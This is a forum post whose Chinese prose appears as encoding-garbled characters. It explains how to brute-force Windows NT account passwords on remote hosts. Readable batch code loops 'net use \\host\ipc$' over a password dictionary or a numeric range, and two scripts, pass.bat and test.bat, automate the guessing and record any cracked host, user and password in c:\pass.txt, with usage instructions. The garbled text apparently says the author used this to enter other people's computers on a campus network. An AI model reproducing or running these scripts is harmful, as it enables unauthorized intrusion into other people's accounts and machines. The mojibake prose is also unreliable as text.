- UID
- 17128
- ©«¤l
- 1061
- ¿n¤À
- 9940
- «Â±æ
- 10
- ª÷¿ú
- 652
- °^Äm
- 538
- ¾y¤O
- 3834
- ¾\ŪÅv
- 250
- ¦b½u®É¶¡
- 152 ¤p®É
- µù¥U®É¶¡
- 2011-5-20
- ³Ì«áµn¿ý
- 2023-6-4
|
¥Îdos©R¥O¯}¸Ñ»·ºÝNT¥Î¤á±K½X
§@ªÌ: pele ¤é´Á: 2013-10-14 01:04 ¾\Ū: 1187 ¤H
¥´¦L
¦¬ÂÃ
¤j ¤¤
¤p
°²¦pª¾¹D¤@ÓNT±b¤á»P±K½X¡A´N¥i¥H¥Î net use \\¥D¾÷\ipc$ "±K½X" /user:"¥Î¤á" »P»·ºÝ¥D¾÷«Ø¥ß³s±µ¡A³o¬O¨C¤@ÓÀb«È©Î¬O¹Ú·Q¦¨¬°¤S©Î¬O¥¿¦b§V¤O¦¨¬°Àb«ÈªºªB¤Í³£ª¾¹Dªº¤èªk¡A¬Æ¦Ü³s§Ú³oÓ³sµæ³¾³£ºâ¤£¤Wªº¤p³¾³£ª¾¹D¡A§Ú¤]¶È¶Èª¾¹D³o¤@±ø¡A§Ú´N¥Î§Ú¶È¶Èª¾¹Dªº³o¤@±ø¦b±JªÙºôùضi¤J§O¤Hªº¹q¸£¡A¦]¬°¥L̪º¹q¸£±K½X³£¬°ªÅ¡A³Q¥L̵o²{¤F¤§«á¬½K¤F¤@¹y¡AµM«á¯É¯É¥[¤W¤F±K½X¡A³o¤U¥i¨SÀ¸¤F¡A·Q¥h°½¿s¥L̪º±K½X¥L̤S¨¾½d±oºò¡A¥u±o·Q¨ä¥L¿ìªk¡A¤]³\¦U¦ì¤j½¼Ì´N·|§Q¥Î¨ä¥L¤èªk¡A½Ñ¦p´M§ä¨t²Î¤§Ãþ±o¨ìºÞ²z³\¥iÅv¡A¦Ó§Ú¤£¦æ¡A¦]¬°§Ú«e±»¡¹L¡A§Ú¥u·|¨º¤@±ø¡A¨º¤S·|¦³¤H»¡¥Î ³nÅé ¼É¤O¯}¸Ñ±K½X´N¥i¥H¤F¡A¤]³\¤£¿ù¡A¦ýº¥ý§Ú¨S¦³¨º¨Ç°ª²`ªº ³nÅé ¤]¨S¦³¤Ñ½á¥h¬ã¨s¨º¨Ç½ÆÂøªº¥Îªk¡A«o¦bµL·N¶¡¬ÝDOSÀ°§U®Éµo²{¤F¤@¨Ç©R¥O¡A·í¯u¬O¤ÑµLµ´¤H¤§¸ô¡G
1¡B¦r¨å¡Gfor /f %i in (¦r¨åÀÉ) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
2¡B¼Æ¦r¡Gfor /l %i in (start,step,end) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
¥H¤W¥i°Ñ¬ÝDOSùرforÀ°§U¡AÁÙ§O»¡¡A¯uÅý§Úµ¹³s¤W´X¥x¾÷¤l¡A¥i°ÝÃD¤]ÀH¤§¦Ó¨Ó¡A³s¬O³s¤W¤F¡A§Ú¤´µM¤£ª¾¹D±K½X¡A¤U¦¸n¥ÎÁÙ±o«·s¥þ³¡¸Õ¹L¡C
¥¿¥¢±æ¡AµL·N¶¡¤Sµo²{¤F¤@Ó¦n¤èªk¡A¤]³\¬O§Ú¤Ó²Â¡A¤]³\§A̧óÁo©ú¡A¡A»¡¤£©w§A̦¤w¸gµo²{¤F¡A¤£¦A»¡¼o¸Ü¡A¤U±´N±N¤èªk¥þ³¡µ¹¥X¡A½Ð¦U¦ì¤j½¼«ü¥¿¡G
±N¤UÄѤå¥ó¦s¬°pass.bat:
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo ¯}¸Ñµ²ªG¡G >>c:\pass.txt
if "%6"=="1" goto shit2
:shit1
start "¥¿¦b¯}¸Ñ" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:shit2
start "¥¿¦b¯}¸Ñ" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
±N¤UÄѤå¥ó¦s¬°test.bat:
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%ªí¥Ü¨ú«e¤@©R¥O°õ¦æªð¦^µ²ªG¡Anet use¦¨¥\ªð¦^0¡A¥¢±Ñªð¦^2
:answer0
echo »·ºÝ¥D¾÷¡G"%1" >>c:\pass.txt
echo ¥Î ¤á¡G"%3" >>c:\pass.txt
echo ±K ½X¡G%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
±Npass.bat»Ptest.bat¦s©ñ©ósystem32¤¤¡A¥Îªk¦p¤U¡G
1¡B¦pªG¥Î¦r¨å¯}¸Ñ¡Gpass.bat ¦r¨åÀɸô®|¤Î¦WºÙ ¥D¾÷ ¥Î¤á¦W
2¡B¦pªG¥Î¼Æ¦r¯}¸Ñ¡Gpass.bat °_©l¼Æ ¨Bªø µ²§ô¼Æ ¥D¾÷ ¥Î¤á¦W 1
±K½X¯}¸Ñ¥X¨Ó¤§«á¡A¦s©ñ©óc:\pass.txt¤å¥óùر¡C
¥t¥~¡A§Ú°µªº³o¨Ç¥u¬O¦b§½°ìºô¤º´ú¸Õ¡A¦pªG»·ºÝ´ú¸Õ¡A¨üºô³t¨î¡A¨ãÅ鱡ªp¥u¯à¾a¦Û¤v¥hºN¯Á¡C |
|